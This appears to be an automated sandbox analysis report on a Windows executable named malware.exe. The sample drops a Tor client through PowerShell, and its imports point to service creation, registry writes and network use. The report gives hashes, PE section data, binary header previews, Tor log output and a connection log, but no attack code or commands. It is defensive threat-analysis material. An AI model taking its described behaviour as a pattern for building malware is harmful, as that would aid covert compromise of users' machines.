SSDEEP:	12288:70pGbEbHbVbybjbbb3b492xOW8+OOrDZw5UMTiONUO:o92xOW8+OOrDW5UpONh
MD5:	3ECD5757A92498384EC5075C8CB347D6
SHA1:	4B3E7730838761CBB442F6D9529F5E9B0F4BCB82
SHA-256:	749F6B5EB0C5AA0F59DF758CBEBE7A1256138203F2D20874364533FA3F9E478A
SHA-512:	B3D442A6209C1995B8E0C52FE8FB9FC9A13B54FA6AB77047EACB48913EFD91136F67BE0F38A98F4B091A0E4AD9AFDDB53647F5E4250C06EE4731AF0A9C9C5B82
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..................!.........F.....................n.........................0.......~....@... .........................F;...P..t....................................................................................R...............................text...............................`.P`.data...............................@.`..rdata..,L.......N..................@.`@.bss..................................`..edata..F;.......<..................@.0@.idata..t....P....... ..............@.0..CRT....,....`.......0..............@.0..tls.........p.......2..............@.0..reloc...............4..............@.0B/4...................L..............@.@B/19..................P..............@..B/31.....-".......$...*..............@..B/45......&.......(...N..............@..B/57..................v..............@.0B/70.................................@..B/81.....................

C:\Users\user\Desktop\TorFiles\Tor\libevent_extra-2-1-6.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	562811
Entropy (8bit):	6.174316178208261
Encrypted:	false
SSDEEP:	6144:KsLuG30ar4jmPN30fVdxA7cVT4zmILDyTrZ8Kz2DMSE1+rT1D7wSnF/kcT39cD:HLmar4jmPN3GIy+B0Z5ca6T5v2atY
MD5:	05D51DF610CD2A6E26D9DD0D29295E1B
SHA1:	B61BD2E6AC9D98AF3D2432729ABE1DBB166954E7
SHA-256:	1295E193BB3C3EB3D84574EFDAEDC67AD21761577EC74E79621A082D597D8C26
SHA-512:	48EE8DE208853E655766E5C0F6057D16A9EAD197DE87A7C6581FB164152037AEA1A24A0156272C11DDD323D5B103119DE5B4272AA07078736EDF3C4C160B95C8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........2.........!.........p.....................a......................................@... ......................`..........................................4............................=......................d................................text...............................`.P`.data...............................@.`..rdata...<.......>..................@.`@.bss.........P........................`..edata.......`... ...(..............@.0@.idata...............H..............@.0..CRT....,............`..............@.0..tls.................b..............@.0..reloc..4............d..............@.0B/4......x............v..............@.@B/19.................z..............@..B/31.....4........0...*..............@..B/45.....m9.......:...Z..............@..B/57.................................@.0B/70..........0......................@..B/81..........@..........

C:\Users\user\Desktop\TorFiles\Tor\libgcc_s_sjlj-1.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	991228
Entropy (8bit):	6.053899340610987
Encrypted:	false
SSDEEP:	12288:LKwXjHvKjKvKRKaKVK9KDKO3FevKqK8K3K7KnKHKU1t1GKOK9TPKaK0TGK6KyK3g:LKwTl0f8xGgM0bPnDefm3aRDkJ
MD5:	286CDF5FDB6414F3E0508C446AF62C30
SHA1:	394D333371CAD5735F09ED8BED128448B1B965EA
SHA-256:	481C13CF972FAFA748486FBBD0366A44BABAEABD19BA56E691BB3A064C653153
SHA-512:	9FFE9F6D881DF0B6A35E9CC7636B64097196102115D9451DD4DB71D22FB37CCEDFE32879952CD979F85247BB8168F9DF95AF18DC0EBA478DEAFB2301A6B24C1C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..................!.....>...l...............P.....m......................................@... ..............................................................................................e.......................................................text....=.......>..................`.P`.data...0....P.......D..............@.0..rdata..x....`.......F..............@.`@.bss.........p........................`..edata...............V..............@.0@.idata...............b..............@.0..CRT....,............h..............@.0..tls.................j..............@.0..reloc...............l..............@.0B/4...................r..............@.@B/19.................................@..B/31.................................@..B/45.....H............F..............@..B/57......(.........................@.0B/70.....A..........................@..B/81..................@..

C:\Users\user\Desktop\TorFiles\Tor\libssp-0.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	278533
Entropy (8bit):	5.894004317280651
Encrypted:	false
SSDEEP:	6144:sBXfVdxp7cyTUzmIdDykrZ8Lz0DJSE1+PT+D7w8nFh:8/PKz5Z6yVmTEVT
MD5:	606110186930C205E48942975A851CA4
SHA1:	D2B7A21BD55A035E2A7813ECCC9E33F5F7815823
SHA-256:	33115D4F22517C23939D8F8AB65BBB35CCCB5D463BA81B44623E3CB57C8867F7
SHA-512:	3B00C7FECDBAEC3FCED8F8ECB2B0351D406A3D0A461011140F60D9E1E52AFCEF3B92BAA8C1079CE01716BA266A975C0F54E16F282BF4CF97FAFA2E0164C0245C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...........3......!.........4...............0.....h......................................@... ......................`..i....p.................................. ............................@.......................q...............................text...............................`.P`.data...,....0......."..............@.0..rdata.......@.......$..............@.0@.bss.........P........................`..edata..i....`.......*..............@.0@.idata.......p.......,..............@.0..CRT....,............2..............@.0..tls.................4..............@.0..reloc.. ............6..............@.0B/4......8............:..............@.@B/19......2.......4...>..............@..B/31..................r..............@..B/45...... ... ..."..................@..B/57..........P......................@.0B/70.....d....`......................@..B/81.....+....p..........

C:\Users\user\Desktop\TorFiles\Tor\libwinpthread-1.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	511930
Entropy (8bit):	6.070362209725038
Encrypted:	false
SSDEEP:	12288:7im3YRHw3PXQpvFiSAIIFdCDhAiBnDkNqfZejTv4J5xjASU:7im3YRHw3PXQpvFiLIIFdCDhAiRDkNqI
MD5:	40A7215C1BD90C1DA72B1D4E139F1821
SHA1:	9106D6140CEEC25059C6FD8BBEAD9005346C88A9
SHA-256:	C115D1A52CD1E848969928A07DBC5312C53C10380BF44A7CDD82A31D5F37404E
SHA-512:	11D1B8A704D02B413822A2BDF8F0C9EA4E5A72509484E1CE96033B226FFB6EF3BDFED0BB05EA3C2396BC7543D9FA0D1F04169277DEEEB341186E2AE9DE500019
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..................!.........6.....................d.......................................... .................................p.......P.................... ..........................................................D............................text............................... .P`.data...L...........................@.0..rdata..P...........................@.0@.bss..................................`..edata..............................@.0@.idata..p...........................@.0..CRT....0...........................@.0..tls................................@.0..rsrc...P...........................@.0..reloc....... ......................@.0B/4...........0......................@.@B/19..........@......................@..B/31......A...`...B..................@..B/45......Q.......R... ..............@..B/57.....(-...........r..............@.0B/70..........@..........

C:\Users\user\Desktop\TorFiles\Tor\ssleay32.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	788352
Entropy (8bit):	6.1246386018718795
Encrypted:	false
SSDEEP:	12288:6tlVuGQ1U5qrb+ObcdazDRD9S7YIwI9hKJZTi7oTAVPjTYtPp:8uDU5qrb+Fdaz99SBwI9hKJ9i7TVfYn
MD5:	6536E58D90B2E9DED05097163D81642C
SHA1:	CE1B8E8DB12A8BC5DE1EBA1F25A02E4E2E9AC22A
SHA-256:	E6093FE75346EC927FE3F0EB79EA0D331A3B0493267D488018C8693C9CEF9252
SHA-512:	8A766313525CD4268A27843DAF588ADBBB5EA7476FE0C2C33321EC2E5D9219D6FA335C8F8DCFBB073578631D032416D8CCF7BFA4A7FD89031314BBC981FEEFEA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..................!.........(....................`n.........................p.......Y....@... .........................m)......X4...P..@....................`..T+.................................................. ................................text...............................`.P`.data............0..................@.`..rdata..............................@.`@.bss....\.............................`..edata..m).......*..................@.0@.idata..X4.......6..................@.0..CRT....,....0......................@.0..tls.........@......................@.0..rsrc...@....P......................@.0..reloc..T+...`...,..................@.0B/4......8...........................@.@B/19......2.......4...2..............@..B/31..................f..............@..B/45...... ......."..................@..B/57..........0......................@.0B/70.....d....@..........

C:\Users\user\Desktop\TorFiles\Tor\tor-gencert.exe

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	1072640
Entropy (8bit):	6.453509500402797
Encrypted:	false
SSDEEP:	12288:fwiM6TaQsBgR7igGBVX8ohBnKX7to3gDlDh3CUgL:fVMGAC7YX8ohBnKX7to3gth3GL
MD5:	9DAF51B2B406421D5750A66ACEB94B3D
SHA1:	2F01AA980D86EC44C2C1857CBB1FEE9702CDBFEE
SHA-256:	81158C8792D7722745C7BA2EDCFD4E9F163F8D204F450A9796B6FE84FE975B7D
SHA-512:	3A0FF3282092D247346BDAD15F7829BEC5E722453234017F425E63F7D684422552A90DD590F705A25DEE4E3BB743BFD6DB9564C24D65212CC039D4D6EEA41D1A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....4.5.....................Z............... ....@.................................{.....@... ..............................@..P ...............................E.................................................$E...............................text...............................`.P`.data...,.... ......................@.`..rdata...`.......b..................@.`@.bss......... ........................`..idata..P ...@..."..................@.0..CRT....4....p......................@.0..tls................................@.0..reloc...E.......F..................@.0B................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\TorFiles\Tor\tor.exe

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	3712000
Entropy (8bit):	6.485919984978165
Encrypted:	false
SSDEEP:	98304:InOgozu0/JZ0BdzlX7qCZQIQBgp73VTlVK:Iaa0/JZSdzlX7q2QIQBg
MD5:	EF4ABAC7C2AF1E311C9AE6439A2EBFC8
SHA1:	2DBEB8F2C1482DA73A12A5DA4797B798B7E7464F
SHA-256:	ACE04F897C83164FEB04C5CB365FB49541E2074C175C2EB1BAA9D230F777ABCC
SHA-512:	5EAB10053C38AA7D46CD0440C3B100AA52A7F5D5C1D6E7DB340FA07432D62582ACA6065F771ACA9F5720A28FBCA8B42BA9BC1CEC2E2DF50D255CA48F3C80EDBC
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....4.5.....................8..N...............@..........................@9......c9...@... .............................. 7.<3............................7.............................O4......................'7..............................text.............................`.P`.data.............................@.`..rdata..`.....+.......+.............@.`@.bss.... L....6.......................`..idata..<3... 7..4....6.............@.0..CRT....4....`7.......6.............@.0..tls.........p7.......6.............@.0..reloc.......7.......6.............@.0B................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\TorFiles\Tor\zlib1.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	107520
Entropy (8bit):	6.504850079671767
Encrypted:	false
SSDEEP:	1536:MxmFvmyW25cLtHudLaBkJzE1TCttsj/ohuG8mYj1Qz/nToIfVZIOdIOP8noM:/EyzxaOJzmTCdhuG8uTBfVzXP8nR
MD5:	7B7F33F2D84C9CFBFDD0F755140D2BBF
SHA1:	98B084B1F3F2637FAD742CE497659C052CE1E310
SHA-256:	6D2C002BA600B97E0D514166BCF33667553F41FCBD73E2CD87BAEF74D4C6F060
SHA-512:	66E8540A4DA9C248980096D20A368458A221FACB47A353907DA636E39BBAD9DD3FB70679B8D7CF6B1D6B3D0FFAD3AC8B29148C9998FBDBDBB217C1597C839708
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..................#.....0...................@.....c......................................@... .........................\|...................................................................D....................... ................................text..../.......0..................`.P`.data...,....@.......4..............@.0..rdata..\O...P...P...6..............@.`@.bss..................................`..edata..\|...........................@.0@.idata..............................@.0..CRT....,...........................@.0..tls................................@.0..rsrc...............................@.0..reloc..............................@.0B................................................................................................................................................................................................................................

C:\Users\user\Desktop\tor-win32-0.3.4.9.zip

Download File

Process:	C:\Users\user\Desktop\malware.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	5410906
Entropy (8bit):	7.998669157675903
Encrypted:	true
SSDEEP:	98304:mgRekX7zpoC80C+MyleSGrBYA2BUd3hmeI+Ghc8zyPwQ+HcwMQa7/Dpm84aOb:rn8TaleSYyU7GhvyP1+5WDtg
MD5:	F9BE91C1B315DF425A37DC948F58700E
SHA1:	551AB0C121B57ED81ED0394824AC7F1BA8C57B36
SHA-256:	031D702A063CA2605E90449C5D4468C8A433D8EA64C428E86BB16545B19AEAF4
SHA-512:	A3F552C1791ADCAD3DF412B557B21F0813D1F3D9B4B6EDD57D12FC595643F54B0A5F5410F9CB49E477836469BA1204A3AFA3EB8ECE1B896B90FFA230C63AB403
Malicious:	false
Reputation:	unknown
Preview:	PK.........{bM................Data/PK.........{bM................Data/Tor/PK.........{bMKP.......@.....Data/Tor/geoip\|...e7.....(...[.k-.....bF..."...yWR..e..I..~........H.?...8,..8....w?..........?....?.............?......./.......k............w?...._.._...........^......._..........?._..?......s....o.............................J."..h]..t.......?.....,.............#......+.........._...........u...}.....O.z..`.......".o0...K.\.9..$..?......~~..`.N.O{...s<......^....%\|....N..x..Y......Q..k...Z....{.3!...\|W......../...,..........+K..D.!...d.."..-...]..W....cV.$.....P".....~>...#...~..._./..........UG,.3.B.#...S.I........G...=......Dc%8.l...x.h#.$^..k...I...5.j`.K.x..M..x.b....X..!9.=..e'....D.....q....{U...o2.l....d..-9..y..".....,Ira..E.zc......\|V.-.(..`...!.j.)Y'3...%...)J..).0..0t>..].F...<..s.7.\|.X...C..?s....^:......}..#..s}...le.x.>.....O.....2,?..%..=s..9....b.....M..Fg.$..Vq....).?.. .......F..\|.QW..I.e5.....L.{1g..)B2..F.u.

\Device\ConDrv

Download File

Process:	C:\Users\user\Desktop\TorFiles\Tor\tor.exe
File Type:	ASCII text, with CRLF, CR line terminators
Category:	dropped
Size (bytes):	7199
Entropy (8bit):	5.1793090314791845
Encrypted:	false
SSDEEP:	96:E79FAXynBmFSwCy1QOQhiWVKpyyuN1jqPoy1saQZ1VYZ2wFnyKur71mFGyLFXETp:+7AkBp4qVnqiYthFblCcb7oBT
MD5:	AE4BF64B3BFAC6030C2751A4EF62C1BA
SHA1:	91294052D97852D8AC9E0A77FAA785C1D9C3EF55
SHA-256:	99DA005FCFF9B8332788E396C0325BB1617D2B544EF321A842041C6B20B19784
SHA-512:	C21424D85349D4B61B91BF4339B7F7AD1F4D24697184CEEA36DD1DE9FA7D04416E0790A7ABE8BB37B11E45D988A3B9051A16F2DAEDC2980EA0D2F0A7937550C7
Malicious:	false
Reputation:	unknown
Preview:	Service error 1063 : The service process could not connect to the service controller......May 31 12:22:38.312 [notice] Tor 0.3.4.9 (git-4ac3ccf2863b86e7) running on Windows 8 with Libevent 2.1.8-stable, OpenSSL 1.0.2q, Zlib 1.2.11, Liblzma N/A, and Libzstd N/A...May 31 12:22:38.312 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning..May 31 12:22:38.452 [notice] Configuration file "C:\Users\user\AppData\Roaming\tor\torrc" not present, using reasonable defaults...May 31 12:22:38.452 [warn] Path for GeoIPFile (<default>) is relative and will resolve to C:\Users\user\Desktop\<default>. Is this what you wanted?..May 31 12:22:38.452 [warn] Path for GeoIPv6File (<default>) is relative and will resolve to C:\Users\user\Desktop\<default>. Is this what you wanted?..May 31 12:22:38.515 [notice] Scheduler type KISTLite has been enabled...May 31 12:22:38.515 [notice] Opening Socks listener on 127.0.0.1:9050..May

Static File Info

General

File type:	PE32+ executable (console) x86-64, for MS Windows
Entropy (8bit):	5.281835037740783
TrID:	Win64 Executable Console (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	malware.exe
File size:	2950656
MD5:	cb00a7da987df0007646cebbb5b3767d
SHA1:	e8572fc68ebcda5f576ca8ed64f3e0794f5a05e1
SHA256:	eeadb031ff7206f0bc0e13c7babd7ad594f2f37d5a0119e7a3cb0d7694c5f1cc
SHA512:	6d095da178f2b8cb46c0255c427875d752f40b446ba44770a19c869e53c19fcac52b03728d6c6b4991be0cddedc4ef89c6f7673b25bc66bf1aea528ffd773a95
SSDEEP:	24576:+3Y0GkXz3erNrRDfR4Zh9eoNS4sLEaumGWMitYgxPTXqy:cYmzAZR4ZfMTXq
TLSH:	3CD5D80BFBB610D1E1BAC139A553222EFC7234A5873897D792459A4E1B31FE4AD3E710
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........'hS.I;S.I;S.I;6.M:G.I;6.J:C.I;6.L:..I;..J:Z.I;..L:..I;..M:v.I;6.H:^.I;S.H;..I;..L:[.I;...;R.I;..K:R.I;RichS.I;...............

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x14010938a
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x5C294099 [Sun Dec 30 22:03:05 2018 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	62d2546710a255a79c39c296512d5617

Entrypoint Preview

Instruction
jmp 00007FCFCD282966h
jmp 00007FCFCD28E891h
jmp 00007FCFCD3845BCh
jmp 00007FCFCD2488F7h
jmp 00007FCFCD386A22h
jmp 00007FCFCD337ACDh
jmp 00007FCFCD2F5428h
jmp 00007FCFCD2742D3h
jmp 00007FCFCD2FB56Eh
jmp 00007FCFCD284959h
jmp 00007FCFCD2BCAF4h
jmp 00007FCFCD2C394Fh
jmp 00007FCFCD290D7Ah
jmp 00007FCFCD261855h
jmp 00007FCFCD2AE620h
jmp 00007FCFCD27DD9Bh
jmp 00007FCFCD382F86h
jmp 00007FCFCD2CDEA1h
jmp 00007FCFCD2CFDACh
jmp 00007FCFCD240E27h
jmp 00007FCFCD33EAA2h
jmp 00007FCFCD3950B9h
jmp 00007FCFCD2D41A8h
jmp 00007FCFCD22C513h
jmp 00007FCFCD37F1DEh
jmp 00007FCFCD2C6F49h
jmp 00007FCFCD2205F4h
jmp 00007FCFCD39298Fh
jmp 00007FCFCD3F0C9Ah
jmp 00007FCFCD376865h
jmp 00007FCFCD2A65A0h
jmp 00007FCFCD27683Bh
jmp 00007FCFCD248F26h
jmp 00007FCFCD3951BDh
jmp 00007FCFCD2A6CECh
jmp 00007FCFCD284027h
jmp 00007FCFCD371512h
jmp 00007FCFCD2C6EBDh
jmp 00007FCFCD350978h
jmp 00007FCFCD2646D3h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3ce8d8	0x8c	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x3d3000	0x43c	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x3b2000	0x19290	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x3d4000	0x1c60	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x37c030	0x38	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x37c070	0x100	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x3ce000	0x8d8	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.textbss	0x1000	0xfe705	0x0	False	0	empty	0.0	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.text	0x100000	0x21e3e3	0x21e400	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x31f000	0x89b94	0x89c00	False	0.21044656023139746	data	3.8871232970876957	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x3a9000	0x81b0	0x4e00	False	0.13161057692307693	data	3.6531433053413274	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x3b2000	0x1bbf4	0x1bc00	False	0.46576752533783783	data	5.57117070751476	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.idata	0x3ce000	0x2255	0x2400	False	0.2514105902777778	data	3.7988243760073654	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.msvcjmc	0x3d1000	0x286	0x400	False	0.037109375	Targa image data - Map (257-257) 257 x 257 x 1 +257 +257 - 1-bit alpha "\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001"	0.9015126238378218	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.00cfg	0x3d2000	0x11b	0x200	False	0.044921875	data	0.19196315608732903	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x3d3000	0x43c	0x600	False	0.18033854166666666	data	2.137909399176761	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x3d4000	0x479f	0x4800	False	0.16324869791666666	data	2.968074440966248	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_MANIFEST	0x3d3170	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States

Imports

DLL	Import
KERNEL32.dll	MultiByteToWideChar, WideCharToMultiByte, GetACP, GetOEMCP, CopyFileA, WaitForSingleObject, RtlCaptureStackBackTrace, SetEndOfFile, SetEnvironmentVariableW, FreeEnvironmentStringsW, CreateProcessA, AreFileApisANSI, GetFullPathNameW, GetFileAttributesA, FindNextFileW, FindFirstFileExW, FindClose, SetCurrentDirectoryA, GetModuleFileNameA, GetCurrentProcess, GetConsoleWindow, CloseHandle, GetEnvironmentStringsW, IsValidCodePage, GetTimeZoneInformation, SetStdHandle, GetCurrentDirectoryW, SetCurrentDirectoryW, ReadConsoleW, ReadFile, FlushFileBuffers, EnumSystemLocalesW, GetUserDefaultLCID, IsValidLocale, GetTimeFormatW, GetDateFormatW, HeapQueryInformation, HeapReAlloc, SetFilePointerEx, GetFileSizeEx, GetConsoleMode, GetConsoleCP, GetLastError, FormatMessageW, DuplicateHandle, WaitForSingleObjectEx, Sleep, SwitchToThread, GetCurrentThread, GetCurrentThreadId, GetExitCodeThread, GetNativeSystemInfo, QueryPerformanceCounter, QueryPerformanceFrequency, EnterCriticalSection, LeaveCriticalSection, TryEnterCriticalSection, DeleteCriticalSection, EncodePointer, DecodePointer, SetLastError, InitializeCriticalSectionAndSpinCount, CreateEventW, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, GetSystemTimeAsFileTime, GetTickCount, GetModuleHandleW, GetProcAddress, CompareStringW, LCMapStringW, GetLocaleInfoW, GetStringTypeW, GetCPInfo, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TerminateProcess, IsProcessorFeaturePresent, IsDebuggerPresent, RaiseException, GetCurrentProcessId, InitializeSListHead, GetStartupInfoW, HeapAlloc, HeapFree, GetProcessHeap, VirtualQuery, FreeLibrary, CreateTimerQueue, SetEvent, SignalObjectAndWait, CreateThread, SetThreadPriority, GetThreadPriority, GetLogicalProcessorInformation, CreateTimerQueueTimer, ChangeTimerQueueTimer, DeleteTimerQueueTimer, GetNumaHighestNodeNumber, GetProcessAffinityMask, SetThreadAffinityMask, RegisterWaitForSingleObject, UnregisterWait, OutputDebugStringW, GetThreadTimes, FreeLibraryAndExitThread, GetModuleFileNameW, GetModuleHandleA, LoadLibraryExW, GetVersionExW, VirtualAlloc, VirtualProtect, VirtualFree, SetProcessAffinityMask, ReleaseSemaphore, InterlockedPopEntrySList, InterlockedPushEntrySList, InterlockedFlushSList, QueryDepthSList, UnregisterWaitEx, WaitForMultipleObjectsEx, LoadLibraryW, RtlUnwindEx, RtlPcToFileHeader, ExitProcess, GetModuleHandleExW, HeapSize, HeapValidate, GetSystemInfo, CreateFileW, GetDriveTypeW, GetFileInformationByHandle, GetFileType, PeekNamedPipe, SystemTimeToTzSpecificLocalTime, FileTimeToSystemTime, ExitThread, ResumeThread, GetStdHandle, WriteFile, GetCommandLineA, GetCommandLineW, GetExitCodeProcess, CreateProcessW, GetFileAttributesExW, WriteConsoleW, SetConsoleCtrlHandler, RtlUnwind
USER32.dll	SystemParametersInfoA, ShowWindow
ADVAPI32.dll	StartServiceA, OpenServiceA, OpenSCManagerA, DeleteService, CreateServiceA, RegSetValueExA, RegOpenKeyExA, RegCreateKeyExA, RegCloseKey, GetTokenInformation, OpenProcessToken
SHELL32.dll	ShellExecuteA
WINHTTP.dll	WinHttpOpen, WinHttpConnect, WinHttpReadData, WinHttpReceiveResponse, WinHttpSendRequest, WinHttpOpenRequest, WinHttpSetOption, WinHttpQueryDataAvailable
WS2_32.dll	bind, closesocket, htonl, htons, listen, socket, WSAStartup, gethostbyname

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 31, 2023 12:22:20.401654959 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:20.401711941 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:20.401801109 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:20.410187006 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:20.410231113 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:20.475893974 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:20.476054907 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:20.485543013 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:20.485579014 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:20.486464977 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:20.528228045 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:20.775263071 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:20.816293001 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.262090921 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.264470100 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.264494896 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.264520884 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.264554024 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.264653921 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.264686108 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.264712095 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.264743090 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.357866049 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.359464884 CEST	443	49711	99.84.90.27	192.168.2.6
